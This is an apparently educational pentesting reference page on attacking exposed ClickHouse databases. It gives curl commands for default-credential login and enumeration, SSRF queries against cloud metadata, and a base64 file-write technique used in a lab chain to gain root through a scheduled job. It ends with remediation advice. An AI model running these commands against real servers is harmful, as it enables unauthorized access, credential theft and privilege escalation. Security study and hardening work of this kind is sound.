ClickHouse
ClickHouse is an open-source, column-oriented OLAP database built for fast analytical (real-time) queries. It exposes two interfaces:
- HTTP interface on
8123- the one that most often ends up reachable, frequently proxied behind nginx as a vhost (e.g.db.<domain>). - Native TCP interface on
9000- binary protocol used byclickhouse-client.
Because the HTTP interface speaks plain REST (GET /?query=...), it is trivially scriptable and a frequent foothold when it is left unauthenticated or given a weak default password.
Tech Stack
- Engine: C++ server (
clickhouse-server), config at/etc/clickhouse-server/config.xmlandusers.xml. - Data: columnar parts under
/var/lib/clickhouse/; scratch upload diruser_files_path(default/var/lib/clickhouse/user_files). - Clients:
clickhouse-client, HTTP, JDBC/ODBC drivers. - Service account: runs as the
clickhouseuser.
Fingerprinting
The HTTP interface is unmistakable:
curl -s http://TARGET:8123/
# Ok.
curl -s -i http://TARGET:8123/ | grep -i 'X-ClickHouse'
# X-ClickHouse-Summary: {"read_rows":"0",...}
# X-ClickHouse-Exception-Tag: ...
GET /ping→Ok.;GET /replicas_status→ replica health.GET /with no query prints a help page mentioningclickhouse-clientand/etc/clickhouse-server/....- Native
9000sends a Hello packet immediately on connect. - Behind nginx, fuzz vhosts - a
db.hostname is a strong hint.
Authentication
ClickHouse has a default user (empty password in many default installs). Credentials can be passed three ways:
# Header auth
curl -s -H 'X-ClickHouse-User: default' -H 'X-ClickHouse-Key: PASSWORD' \
'http://TARGET:8123/?query=SELECT+1'
# URL params
curl -s 'http://TARGET:8123/?user=default&password=PASSWORD&query=SHOW+DATABASES'
# Native
clickhouse-client --host TARGET --user default --password PASSWORD
Auth errors are informative:
Code: 194 ... Authentication failed ... (REQUIRED_PASSWORD)→ user exists, wrong/empty password.Code: 516 ... Authentication failed: no user with such name (AUTHENTICATION_FAILED)→ unknown user.
Application configs frequently embed ClickHouse credentials (JDBC URLs, DSNs, *.env). Harvest them from source leaks, config files, heap dumps, or other services' configs and reuse here.
Enumeration
Queries can be sent as the URL query param or as the POST body (better for multi-line SQL):
curl -s -H 'X-ClickHouse-User: default' -H 'X-ClickHouse-Key: PASSWORD' \
http://TARGET:8123/ --data-binary 'SELECT currentUser(), version()'
SHOW DATABASES;
SHOW TABLES;
-- Tables + the FULL DDL for each
SELECT database, name, engine, create_table_query
FROM system.tables
WHERE database NOT IN ('system','INFORMATION_SCHEMA') FORMAT Vertical;
-- Columns
SELECT database, table, name, type FROM system.columns WHERE database='mydb';
-- What am I allowed to do?
SHOW GRANTS;
SELECT currentUser(), currentRoles();
-- Active queries / settings (may leak paths, users, secrets)
SELECT * FROM system.processes;
SELECT * FROM system.settings WHERE name LIKE '%path%';
create_table_query is especially valuable: it prints Kafka broker lists/topics, materialized-view SQL, and column mappings - the whole data pipeline, without needing broker access.
Attack Surface / Table Functions
ClickHouse exposes powerful table functions whose use is governed by grants. The error message names the exact grant required, so "denied" is a roadmap, not a dead end.
| Function | Grant needed | Abuses |
|---|---|---|
file() | READ ON FILE / WRITE ON FILE | Read/write files inside user_files_path |
url() | READ ON URL | SSRF to internal services / cloud metadata |
remote() | REMOTE | Query other ClickHouse servers |
mysql()/postgresql()/jdbc()/odbc() | matching grant | Pivot to and brute other databases |
s3()/hdfs()/azureBlobStorage() | matching grant | Cloud storage access |
redis()/mongo() | matching grant | Pivot to those services |
Kafka table engine | - | Read message-broker topics from SQL |
File read/write
file() is sandboxed to user_files_path (... is not inside /var/lib/clickhouse/user_files otherwise):
-- READ
SELECT * FROM file('/var/lib/clickhouse/user_files/notes.txt', 'RawBLOB');
-- WRITE (note: it APPENDS)
INSERT INTO FUNCTION file('/var/lib/clickhouse/user_files/out.txt', 'RawBLOB') SELECT 'data';
When writing code/config, base64 avoids all quoting pain:
B64=$(base64 -w0 payload.py)
printf "INSERT INTO FUNCTION file('/var/lib/clickhouse/user_files/payload.py','RawBLOB') SELECT base64Decode('%s')" "$B64" > w.sql
curl -s -H 'X-ClickHouse-User: default' -H 'X-ClickHouse-Key: PASSWORD' http://TARGET/ --data-binary @w.sql
SSRF via url()
SELECT * FROM url('http://169.254.169.254/latest/meta-data/', 'RawBLOB');
SELECT * FROM url('http://127.0.0.1:8080/admin', 'RawBLOB');
Why This Is a Real Pivot
Two properties make an over-privileged ClickHouse a strong escalation primitive:
- The
clickhouseuser can write files the process running the DB controls - includinguser_files_path- while your own user may not. - Other, more privileged services sometimes consume those files. If a root job, scheduled task, or another app reads/executes a file under
user_files_path, writing it via ClickHouse gives you code execution as that process.
Chain example (lab): an unauthenticated ClickHouse → leaked DB creds →
file()write intouser_files→ a root systemd timer that ranpython3 /var/lib/clickhouse/user_files/<script>.pyexecuted the payload → root.
INSERT INTO FUNCTION file(...) appends to an existing file. If the target file already ends with e.g. if __name__ == "__main__": main(), appended module-level statements still run top-to-bottom - so an appended payload still executes.
Remediation / Secure Coding
- Never expose ClickHouse HTTP/native ports publicly. Bind to
127.0.0.1(or an internal interface) with a firewall; front it with a properly authenticated proxy. - Set a strong
defaultpassword and create named users with least privilege; disable the default user or restrict it:<!-- users.d/secure.xml -->
<clickhouse>
<users>
<default>
<password_sha256_hex>...</password_sha256_hex>
<networks><ip>::1</ip><ip>127.0.0.1</ip></networks>
<access_management>0</access_management>
</default>
</users>
</clickhouse> - Do not grant
FILE,URL,REMOTE,S3,MYSQL,POSTGRES,JDBCprivileges to application users - they are effectively RCE/SSRF primitives. Grant onlySELECT/INSERTon the specific database/tables needed. - Keep
user_files_pathfree of anything another process executes or trusts; never point a root/scheduled job at a file inside it. - Enable TLS and require auth on the HTTP interface (
<tcp_port_secure>,https_port). - Segment the database from the app; don't let a low-privilege service account write files a privileged process consumes.
- Monitor for unusual
file()/url()/INSERT INTO FUNCTIONusage.